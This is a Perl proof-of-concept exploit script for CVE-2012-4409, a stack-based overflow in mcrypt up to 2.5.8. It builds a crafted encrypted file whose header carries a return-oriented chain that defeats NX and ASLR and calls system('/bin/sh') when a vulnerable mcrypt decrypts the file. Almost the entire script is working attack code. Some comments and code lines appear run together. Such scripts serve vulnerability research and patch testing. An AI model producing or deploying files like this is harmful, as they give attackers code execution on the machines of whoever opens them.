#!/usr/bin/perl# Title: mcrypt <= 2.5.8 STACK based overflow# Date : 23/11/2012# Exploit Author : Tosh# CVE: CVE-2012-4409 # Patch: http://www.openwall.com/lists/oss-security/2012/09/06/8# Tested on: Archlinux 3.6.6-1, without SSP# This script exploit a stack based overflow in mcrypt <= 2.5.8.# It bypass NX and ASLR protections, but no SSP.# This exploit craft a crypted file and arbitrary code may be executed if the file is decrypted with a vulnerable version# of mcrypt. The vulnerable function is check_file_head(), present in src/extra.c. See the CVE details or the patch for more# informations.# Payload must be adjusted on others plateforms, here is just a Proof of Concept :)
use strict;
use warnings;
my $filename='fake.nc';
my $file;
my $payload;
print "[+] Build payload.\n";$payload= payload();
print "[+] Build file.\n";$file= build_file($payload);
print "[+] Writing $filename.\n";
write_file();
print "[+] DONE.\n";
sub write_file {
die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename);
print F $file;
close F;}
sub build_file {# magic $file .="\x00m\x03";# flags$file .= pack('C', 1<<6);# algorithm$file .="H\@Ck3d\x00";# keysize$file .= pack('S', 0xdead);# mode$file .="h\@cK3d\x00";# keymode$file .="H\@CK3D\x00";# sflags$file .="\xff";# payload$file .=$_[0];return$file;}
sub payload {
my $saved_eip_off= 0x71;# Buffer len for overwrite saved EIP
my $v_local_1= 0x0805b000;# Local variable 1 overwriten
my $v_local_2= 0x08048007;# Local variable 2 overwriten
my $ret_sled=5;# Offset between saved EIP and local variables
my $strcpy_plt= 0x080499f0;# strcpy@plt address
my $fopen64_got= 0x0805b1c8;# fopen64 got entry
my $system_off= 0xfffd6b30;# fopen64 - system
my $w_mem= 0x0805b000;# writable memory, without ASLR
my $pop2_ret= 0x08055a63;# pop; pop; ret
my $ret= 0x0805a5ed;# ret
my $pop_ebx= 0x08056186;# pop ebx; ret
my $pop_edi= 0x08053460;# pop edi; ret
my $xchg_eax= 0x080517a4;# xchg eax, edi; ret
my $add_eax= 0x0804dabf;# add eax,[ebx-0x2776e73c]; pop ebx; ret
my $call_eax= 0x0804b357;# call eax; leave; ret
my $payload;$payload .="A"x$saved_eip_off;$payload .= pack('L', $ret) x $ret_sled;$payload .= pack('L', $pop2_ret);$payload .= pack('L', $v_local_1);$payload .= pack('L', $v_local_2);# Copy"/bin/" in +W memory$payload .= pack('L', $strcpy_plt);$payload .= pack('L', $pop2_ret);$payload .= pack('L', $w_mem + 0x00);$payload .= pack('L', 0x08057fc2);# Copy "sh" + "\x00" in +W memory$payload .= pack('L', $strcpy_plt);$payload .= pack('L', $pop2_ret);$payload .= pack('L', $w_mem + 0x05);$payload .= pack('L', 0x08048bab);# Calc system() address with fopen64 GOT entry$payload .= pack('L', $pop_ebx);$payload .= pack('L', $fopen64_got + 0x2776e73c);$payload .= pack('L', $pop_edi);$payload .= pack('L', $system_off);$payload .= pack('L', $xchg_eax);$payload .= pack('L', $add_eax);$payload .="HaCk";# Call system("/bin/sh")$payload .= pack('L', $call_eax);$payload .= pack('L', $w_mem);
die("[-] Payload too long !\n") if(length $payload> 0xfe);return$payload;}